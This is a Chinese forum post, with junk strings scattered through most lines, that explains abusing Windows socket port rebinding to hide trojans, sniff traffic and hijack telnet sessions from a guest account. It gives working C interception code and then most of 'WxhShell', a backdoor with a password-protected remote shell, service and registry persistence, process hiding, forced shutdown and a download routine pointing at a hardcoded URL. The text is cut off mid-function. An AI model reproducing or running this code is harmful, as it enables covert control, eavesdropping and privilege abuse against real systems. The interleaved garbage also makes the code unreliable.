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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XUqE5[O%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W}e[.iX;  
c;~Llj P  
  saddr.sin_family = AF_INET; CO%O<_C  
(krG0S:0Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); RH'F<!p  
*(SBl}f4l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FO'. a  
ZV<y=F*~f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ff#N|L'9_  
VzYP:QRz  
  这意味着什么?意味着可以进行如下的攻击: ,YMdXYu`s  
S5pP"&I[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u, SX`6%  
yA>p[F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) = cI\OsV&?  
;'18  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1\608~ZH  
k}0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "6NNId|Y  
M"$RtS|h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]MA)=' ~  
Mn\ B\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f+*2K^B  
'm!1 1Phe  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x]J-q5  
W lLZtgq  
  #include lSbM)gL  
  #include 36Z`.E>~L  
  #include ^nm!NL{z^  
  #include    x#gmliF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   AO7qs:+  
  int main() +q=jB-eIx  
  { S~(VcC$K  
  WORD wVersionRequested; <$3nD b-  
  DWORD ret; . ;@) 5"  
  WSADATA wsaData; B?YfOSF=5  
  BOOL val; W%XS0k}x  
  SOCKADDR_IN saddr; gMK3o8B/  
  SOCKADDR_IN scaddr; #/v_ h6$  
  int err; nu9k{owB T  
  SOCKET s; e4W];7_K!  
  SOCKET sc; 4!s k3Cw{  
  int caddsize; .W+4sax:  
  HANDLE mt; i K[8At"Xo  
  DWORD tid;   y`@4n.Q  
  wVersionRequested = MAKEWORD( 2, 2 ); B l/e>@M  
  err = WSAStartup( wVersionRequested, &wsaData ); m}'@S+k^  
  if ( err != 0 ) { Rw=E_q{  
  printf("error!WSAStartup failed!\n"); nT .2jk+  
  return -1; 'nDT.i  
  } W6/p-e5y  
  saddr.sin_family = AF_INET; +#db_k  
    p|8Fl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?d#(ian  
?'#;Y"RT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Pk]9.e1_  
  saddr.sin_port = htons(23); Ay6rUN1ef  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .&Gtw _  
  { qmyZbo|8&  
  printf("error!socket failed!\n"); 9a Ps_|C  
  return -1; }N9a!,{P=b  
  } ]~M {@h!<  
  val = TRUE; 257;@;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m1; <T@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k 5r*?Os  
  { v;qL? _:=c  
  printf("error!setsockopt failed!\n"); VM|)\?Q  
  return -1; .MPOUo/e  
  } ,F9wc<V8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p[VCt" j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 EGr5xR-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k+G4<qw  
ZU@jtqq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~9;mZi1-  
  { 8A]q!To  
  ret=GetLastError(); ;B7|tajd  
  printf("error!bind failed!\n"); "lzg@=$|)  
  return -1; 5e8-?w% e  
  } iw;Alav"x  
  listen(s,2); Ae zXou&  
  while(1) ?iO^b.'I#  
  { 7IW7'klkvD  
  caddsize = sizeof(scaddr); \mit&EUh}  
  //接受连接请求 rtOW-cz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p 8Hv7*  
  if(sc!=INVALID_SOCKET) ^O:RS g9  
  { _r)nbQm&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oqo8{hrdHk  
  if(mt==NULL) )4~XZt1r  
  { G%/cV?18  
  printf("Thread Creat Failed!\n"); Y k6WSurw  
  break; vKLG9ovlY  
  } d }CMX$1  
  } GuDD7~qxY  
  CloseHandle(mt); }33Au-%*  
  } ;.m[&h 0  
  closesocket(s); n ,%^R  
  WSACleanup(); -xEg"dY/  
  return 0; mYRR==iDL  
  }   <sG>[\i  
  DWORD WINAPI ClientThread(LPVOID lpParam) =n?@My?;  
  { iv`-)UsE  
  SOCKET ss = (SOCKET)lpParam; au~gJW-  
  SOCKET sc; S?WUSx*N  
  unsigned char buf[4096]; [beuDZA  
  SOCKADDR_IN saddr; zMg^2{0L  
  long num; ~2 ;y4%K  
  DWORD val; Dp'af4+%$  
  DWORD ret; ;b2>y>?[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C>-"*Lt  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &G,v*5N8$K  
  saddr.sin_family = AF_INET; L7'n<$F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KiHAm|,  
  saddr.sin_port = htons(23);  7cQw?C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ht!:e>z&4  
  { goWt!,&f  
  printf("error!socket failed!\n"); .SFwjriZ  
  return -1; R dzIb-  
  } X,Q(W0-6$u  
  val = 100; %j`]x -aOz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) imuHSxcaV  
  { ~.SU$  
  ret = GetLastError(); nW[aPQ[R   
  return -1; .^W0;ISX  
  } p{u}t!`!d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q'LU?>N)/  
  { , >6X_XJQ  
  ret = GetLastError(); } trMQ  
  return -1; ld0WZj  
  } }Q*ec/^{f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D^4V"rq  
  { t*$@QO  
  printf("error!socket connect failed!\n"); v0p EN\  
  closesocket(sc); p[I gnO  
  closesocket(ss); e=C,`&s z  
  return -1; ]vG)lY.=  
  } ^ B]t4N2i  
  while(1) XiUsaoQm3  
  { (9h{6rc=I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <CdO& xUY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <7h'MNf&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z.:A26  
  num = recv(ss,buf,4096,0); WV5R$IqY  
  if(num>0) HKf3eC  
  send(sc,buf,num,0); ![Y$[l  
  else if(num==0) ijT^gsLL  
  break; Z r*ytbt  
  num = recv(sc,buf,4096,0); cwM0Z6  
  if(num>0) f5eX%FR  
  send(ss,buf,num,0); zj}efv<e  
  else if(num==0) 7X"cu6%\  
  break; ^Y!`wp2vn  
  } B.b)YE '  
  closesocket(ss); 3x$#L!VuU  
  closesocket(sc); x-EAu 3=V  
  return 0 ; ;* Jd#O  
  } hy rJu{p  
pwQ."2x  
-A~<IyPt  
========================================================== MsiSC  
n%hnL$!z  
下边附上一个代码,,WXhSHELL fz\Az-  
?z.`rD$}(n  
========================================================== q1j[eru  
"5FeP;  
#include "stdafx.h" ~M=`f{-$K  
(nG  
#include <stdio.h> Si(?+bda0c  
#include <string.h> ^|2qD: ;  
#include <windows.h> W*#/@/5  
#include <winsock2.h> w\a#Bfcv  
#include <winsvc.h> xFh}%mwpt[  
#include <urlmon.h> a7R7Ks|q  
[&&4lKC}u  
#pragma comment (lib, "Ws2_32.lib") $MR4jnTT  
#pragma comment (lib, "urlmon.lib") :JmNy <  
Yy5F'RY  
#define MAX_USER   100 // 最大客户端连接数 e wR0e.g  
#define BUF_SOCK   200 // sock buffer bL<cg tz7)  
#define KEY_BUFF   255 // 输入 buffer sP#5l @  
*HUqW}_r  
#define REBOOT     0   // 重启 i+6/ g  
#define SHUTDOWN   1   // 关机 USY^ [@o[f  
`3Y+:!q  
#define DEF_PORT   5000 // 监听端口 >3/<goXk7  
nDfDpP&  
#define REG_LEN     16   // 注册表键长度 K>U &jH  
#define SVC_LEN     80   // NT服务名长度 (G Y`O  
/nNHI34  
// 从dll定义API J=Z"sU=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =>Efrma  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G9TUU.T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  K!j2AP3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W&nVVV8s@  
G}x^PJJt  
// wxhshell配置信息 7Udr~ 0_)  
struct WSCFG { >jIc/yEYKI  
  int ws_port;         // 监听端口 e~1??k.;=  
  char ws_passstr[REG_LEN]; // 口令 }OZfsYPz}T  
  int ws_autoins;       // 安装标记, 1=yes 0=no d p].FS  
  char ws_regname[REG_LEN]; // 注册表键名 0n%`Xb0q  
  char ws_svcname[REG_LEN]; // 服务名 x :s-\>RcA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o<;"+@v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U-d&q>_@A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n/-I7Q!;u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Tu"](|I>   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0&)4^->c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x1Uj4*Au  
Zv_<*uzKZ  
}; 4_eq@'9-q  
BR*U9K|W  
// default Wxhshell configuration xo}hu %XL  
struct WSCFG wscfg={DEF_PORT, +Aq}BjD#  
    "xuhuanlingzhe", !|]%^G  
    1, bZ=d!)%P-{  
    "Wxhshell", }j QwP3eY  
    "Wxhshell", QH eUpJ/^  
            "WxhShell Service", YI/vt2  
    "Wrsky Windows CmdShell Service", 8GX@76o  
    "Please Input Your Password: ",  .*+ &>m7  
  1, q0o6%c:gW  
  "http://www.wrsky.com/wxhshell.exe", '-et:Lv7  
  "Wxhshell.exe" ]#;JPO#*  
    }; 6K6ihR!d  
V*)gJg  
// 消息定义模块 6b0#z#E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #gP\q?5Ov  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :7maN^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U-(d~]$  
char *msg_ws_ext="\n\rExit."; = 619+[fK  
char *msg_ws_end="\n\rQuit."; 0< !BzG  
char *msg_ws_boot="\n\rReboot..."; fa)G$Q  
char *msg_ws_poff="\n\rShutdown..."; 3:r;(IaX  
char *msg_ws_down="\n\rSave to "; .Q7z<Q  
FRr<K^M  
char *msg_ws_err="\n\rErr!"; i4l?q#X  
char *msg_ws_ok="\n\rOK!"; 6w' ^,V  
z;LntQZp-  
char ExeFile[MAX_PATH]; 4IVCTz[  
int nUser = 0; N9hBGa$  
HANDLE handles[MAX_USER]; SI\zW[IL  
int OsIsNt; 9 HuE'(wQ  
9tJiIr8i  
SERVICE_STATUS       serviceStatus; 9 ItsK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^#Shs^#  
fz%urbJR  
// 函数声明 :jA~zHO  
int Install(void); y37@4p^@9  
int Uninstall(void); W,vb7v'  
int DownloadFile(char *sURL, SOCKET wsh); r'j*f"uAm  
int Boot(int flag); %',. K)IR  
void HideProc(void); $?7}4u,  
int GetOsVer(void); u(P D+Gz  
int Wxhshell(SOCKET wsl); N. uw2Y%  
void TalkWithClient(void *cs); B<W{kEY  
int CmdShell(SOCKET sock); 2`x[y?Tn  
int StartFromService(void); TB9ukLG^<<  
int StartWxhshell(LPSTR lpCmdLine); NVQ IRQ.  
r__uPyIMG/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =2< >dM#`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 75a3H`  
&N,c:dNe  
// 数据结构和表定义 ,+f'%)s_x  
SERVICE_TABLE_ENTRY DispatchTable[] = ibh!8"[  
{ E0w>c'kH  
{wscfg.ws_svcname, NTServiceMain}, y5>H>NS  
{NULL, NULL} S%'t )tt,  
}; s i C/k*  
9R!.U\sq  
// 自我安装 0nC%tCV'  
int Install(void) cxVnlgq1  
{ SH"O<c Dp  
  char svExeFile[MAX_PATH]; jZ)1]Q2  
  HKEY key; &uC7W.|  
  strcpy(svExeFile,ExeFile); d+l@hgz~  
]R( =)  
// 如果是win9x系统,修改注册表设为自启动 f"S^:F0  
if(!OsIsNt) { [H!V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m)&2zV/Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wj5{f5 RWV  
  RegCloseKey(key); S?&ntUah  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uSH.c>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (JOge~U  
  RegCloseKey(key); 1aKY+4/G  
  return 0; qWdL|8  
    } [W` _`  
  } \ qKh9  
} /K1YDq<=  
else { E` BL3+kQ  
ka655O/)&  
// 如果是NT以上系统,安装为系统服务 7D<M\l8G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5G|(od3  
if (schSCManager!=0) x)s`j(pYC  
{ Fq:BRgCE  
  SC_HANDLE schService = CreateService S'q (Qo  
  ( oQAD 3a  
  schSCManager, c&ymVB?G:1  
  wscfg.ws_svcname,  RCKb5p9  
  wscfg.ws_svcdisp, n"* A.  
  SERVICE_ALL_ACCESS, #Fq6-]y1")  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {eL XVNR7R  
  SERVICE_AUTO_START, Y}QtgZEt  
  SERVICE_ERROR_NORMAL, YjAwt;%-D  
  svExeFile, re:=fC:t5A  
  NULL, U2seD5I  
  NULL, xwq {0jY  
  NULL, h?jKq2`  
  NULL, ar }F^8Ku  
  NULL y\]:&)?&C^  
  ); ,iV|^]X3$/  
  if (schService!=0) 6cDe_v|,  
  { O1V s!  
  CloseServiceHandle(schService); !{jDZ?z{h  
  CloseServiceHandle(schSCManager); qq G24**9v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y<odXFIS  
  strcat(svExeFile,wscfg.ws_svcname); M, f6UYo=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @-)jU!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4@- 'p  
  RegCloseKey(key); bejvw?)S.  
  return 0; _46 y  
    } 3U^E<H  
  } Xf(H_&K  
  CloseServiceHandle(schSCManager); qf-0 | w  
} eh`n?C  
} /SO 4O|b  
R1)v;^B|)  
return 1; 4-1=1)c*  
} +G)L8{FY(  
hX;JMQ915  
// 自我卸载 K?`Fpg (  
int Uninstall(void)  Em?bV(  
{ $DBJ"8n2  
  HKEY key; >|IUjv2L  
0ZcvpR?G  
if(!OsIsNt) { [z=KHk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sF[7pE  
  RegDeleteValue(key,wscfg.ws_regname); &?59{B. mD  
  RegCloseKey(key); :(ni/,~Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TL'^@Y7X5  
  RegDeleteValue(key,wscfg.ws_regname); 9\y\{DHd  
  RegCloseKey(key); |1!RvW:[!  
  return 0; F|nJ3:v  
  } <2{g[le  
} WTK )SKa,.  
} W!6&T [j>  
else { Qu]F<H*Y|  
;&=c@>!xP#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vuN!7*d+  
if (schSCManager!=0) xO3-I@  
{ f_'#wc6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $^~dqmE2,  
  if (schService!=0) _!_%Afz  
  { apmZ&Ab  
  if(DeleteService(schService)!=0) { _=$:<wIE[  
  CloseServiceHandle(schService); , !0-;H.Y  
  CloseServiceHandle(schSCManager); {5`=){  
  return 0; DNwqi"  
  } ?Pbh&!  
  CloseServiceHandle(schService); o>~xrV`E  
  } m}`!FaB #  
  CloseServiceHandle(schSCManager); ]fiAV|'^  
} U}hQVpP#  
} )a99@`L\P  
pT ]:TRPS  
return 1; t:$^iUrx  
} Ct@OS227x  
% XvJJ  
// 从指定url下载文件 2":{3=oW~  
int DownloadFile(char *sURL, SOCKET wsh) %OT} r  
{ #z$g1\v  
  HRESULT hr; Cg#@JuwHa  
char seps[]= "/"; u?xXZ]_u-  
char *token; L JW0UF|  
char *file; s[2>r#M  
char myURL[MAX_PATH]; s\/$`fuhx  
char myFILE[MAX_PATH]; J A!?vs  
>/J!:Htk+K  
strcpy(myURL,sURL); 0*y|k1  
  token=strtok(myURL,seps); _|1m]2'9  
  while(token!=NULL) Wy:xiP  
  { Le,e,#hiY  
    file=token; 0vYHx V  
  token=strtok(NULL,seps); ?R#?=<VkG  
  } ^p7g[E&  
U]Pl` =SL  
GetCurrentDirectory(MAX_PATH,myFILE); `%@| sK2  
strcat(myFILE, "\\"); 2,T^L (]  
strcat(myFILE, file); @3g$H[}  
  send(wsh,myFILE,strlen(myFILE),0); 9lU"m_ QT4  
send(wsh,"...",3,0); &GKtD)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tMbracm  
  if(hr==S_OK) K."%PdC  
return 0;  iup "P  
else `PH]_]:%  
return 1; $_5a1Lq1  
IVY{N/ 3|  
} :*g3PhNE  
xPp\OuwK  
// 系统电源模块 ?yNg5z  
int Boot(int flag) pVN) k  
{ VC T~"T2R  
  HANDLE hToken; n,l{1 q  
  TOKEN_PRIVILEGES tkp; g#}a?kTM@  
T*3>LY+bb  
  if(OsIsNt) { #Y>os3]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I7C*P~32{n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P-Up v6J3  
    tkp.PrivilegeCount = 1; b~Q8&z2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qZ=%r u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lk(.zYaaN  
if(flag==REBOOT) { oY(q(W0ze  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 99/`23YL  
  return 0; 9*&RvsrX  
} }K3!ujvR  
else { Y(U+s\X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;;{!wA+"D  
  return 0; 0D.qc8/V4.  
} l!7O2Ai5  
  } 77?D ~N[  
  else { 7#pu(:T$  
if(flag==REBOOT) { e6y,)W"WW2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &:@)ro CR  
  return 0; |G(9mnZ1  
} ba`V`0p-(  
else { ~9Jlb-*I5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r@)_>(  
  return 0; :=cZ,?PQp1  
} Li2-G  
} Bsc&#  
_VM()n;  
return 1; ZNN^  
} u|eV'-R)s  
mh7JPbX|  
// win9x进程隐藏模块 ]38{du  
void HideProc(void) E9]\ I> v  
{ !ma%Zk  
8~@?cy1j!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'Z{_w s  
  if ( hKernel != NULL ) }#D+}Mo!,  
  { G\4*6iw:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l2|[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T=~D>2C  
    FreeLibrary(hKernel); _Yqog/sG  
  } SSH 1Ge5|  
@4FG & >kQ  
return; Bkaupvv9S  
} ]Te,m}E  
xa&5o`>1G  
// 获取操作系统版本 PN"s ^]4  
int GetOsVer(void) m6 V L  
{ +J;T= p  
  OSVERSIONINFO winfo; 58>C,+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [19QpK WM  
  GetVersionEx(&winfo); Yn+d!w<3:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zxhE9 [`*e  
  return 1; /Y_)dz^@  
  else ~A-Y%P  
  return 0; yR'%UpaE  
} kl+^0i  
!=SBeq  
// 客户端句柄模块 *+rWn*L  
int Wxhshell(SOCKET wsl) DV5K)m&G  
{ +ebmve \+  
  SOCKET wsh; appWq}db  
  struct sockaddr_in client; ^0T DaZDLp  
  DWORD myID; CA[3 R  
gi#g)9HG  
  while(nUser<MAX_USER) !Sj0!\  
{ W9M~2< L  
  int nSize=sizeof(client); %}/|/=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -RKqbfmi=  
  if(wsh==INVALID_SOCKET) return 1; U_.9H _G  
o4F?Rx,L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4Uzx2   
if(handles[nUser]==0) `-)Hot)  
  closesocket(wsh); 1n-+IR"  
else FofeQ  
  nUser++; H:5- S  
  } {1Hs5bg@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q xm:5P  
)0UXTyw^  
  return 0; ~M Mv+d88  
} #Et%s8{  
a]4h5kJ';  
// 关闭 socket 'fS&WVR?  
void CloseIt(SOCKET wsh) i8Xz'Sw07  
{ FhJtiw@  
closesocket(wsh); 0T7c=5z4W  
nUser--; -)E nr6  
ExitThread(0); <!G%P4)  
} [L`w nP  
ic=tVs  
// 客户端请求句柄 ==]BrhZK  
void TalkWithClient(void *cs) &|Cd1z#?  
{ $ts1XIK%  
,(y6XUV~  
  SOCKET wsh=(SOCKET)cs; HY>zgf,0  
  char pwd[SVC_LEN]; ?Jy /]j5fI  
  char cmd[KEY_BUFF]; 5e|yW0o  
char chr[1]; ,.,spoV  
int i,j; 4qvE2W}&  
ZgI?#e  
  while (nUser < MAX_USER) { Y:#nk.}>  
kT12  
if(wscfg.ws_passstr) { p"tCMB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wz&[ cj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rn9e#_Az  
  //ZeroMemory(pwd,KEY_BUFF); H7?Sd(U  
      i=0; z;Yo76P  
  while(i<SVC_LEN) { L{F[>^1Sb  
E E^l w61  
  // 设置超时 DNu-Ce%  
  fd_set FdRead; o8c5~fG1  
  struct timeval TimeOut; /{%p%Q[X  
  FD_ZERO(&FdRead); A(}D76o_  
  FD_SET(wsh,&FdRead); IlfH  
  TimeOut.tv_sec=8; 9YEE.=]T  
  TimeOut.tv_usec=0; Z3qr2/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AQm#a;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cP2n,>:  
Cc}3@Nf{/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #w1E3ahaX  
  pwd=chr[0]; z{wZLqG  
  if(chr[0]==0xd || chr[0]==0xa) { E x )fXQ+  
  pwd=0; WWgJ !Uz  
  break; %*a%F~Ss  
  } mV++7DY  
  i++; Qy7pM8~h  
    } cTa$t :K@  
6R#.AD\  
  // 如果是非法用户,关闭 socket PTP0 _|K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~jD~_JGp  
} GWW#\0*Bn  
a%*W( 4=Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sa w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c@|f'V4  
)zAATBb4.  
while(1) { Wf{&D>  
awU&{<,=g  
  ZeroMemory(cmd,KEY_BUFF); <TEDqQ  
9][A1 +"  
      // 自动支持客户端 telnet标准   d A>6  
  j=0; ',m!L@7M5  
  while(j<KEY_BUFF) { bR*} s/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RXw }Tb/D8  
  cmd[j]=chr[0]; &|I{ju_  
  if(chr[0]==0xa || chr[0]==0xd) { -58Sb"f  
  cmd[j]=0; 1qm _Qs&  
  break; qlm7eS"sy  
  } o7kQ&w   
  j++; #ja6nt8GC  
    } J*D3=5&  
s)~Wcp'+M:  
  // 下载文件 'b:UafV  
  if(strstr(cmd,"http://")) { b NR@d'U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2Kz407|'  
  if(DownloadFile(cmd,wsh)) /RemLJP F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^KUM4. 6  
  else &Pe[kCO]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R/P9=yvg0  
  } jZR2Nx}16  
  else { 9S/X,|i  
[PH56f  
    switch(cmd[0]) { }e-D&U  
  ffG1QvC|M  
  // 帮助 cpu|tK.t  
  case '?': { q85 4k+C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b&P2VqYgl  
    break; @m+FAdA 0  
  } 0,1)Sg*  
  // 安装 NszqI  
  case 'i': { TXbnK"XQ  
    if(Install()) g`I$U%a_2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m+3]RIr&A  
    else 51'{Jx8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9E2OCLWrE  
    break; /NUu^ N  
    } %9b TfX"  
  // 卸载 !~`aEF3  
  case 'r': { {nH*Wu*^  
    if(Uninstall()) .6A{   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); suE#'0K  
    else g?{7DI`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FF~VV<a  
    break; \me-#: Gu  
    } =~q Xzq  
  // 显示 wxhshell 所在路径 17[vq!x6  
  case 'p': { :Fdk`aC  
    char svExeFile[MAX_PATH]; d(F4-kBd  
    strcpy(svExeFile,"\n\r"); tUhr gc  
      strcat(svExeFile,ExeFile); p!7(a yu  
        send(wsh,svExeFile,strlen(svExeFile),0); S4D~`"4 $/  
    break; 8X)1bNGqhe  
    } ,lQfsntk'  
  // 重启 cB_ 3~=fV  
  case 'b': { !yu-MpeG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zTg&W7oz  
    if(Boot(REBOOT)) %B(E;t63W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K}8wCS F  
    else { J<-2dvq  
    closesocket(wsh); T1M>N  
    ExitThread(0); B&?xq)%*#  
    } G\#dMCk?  
    break; K-n]m#U4o  
    }  \z?-  
  // 关机 X!K:V~WG  
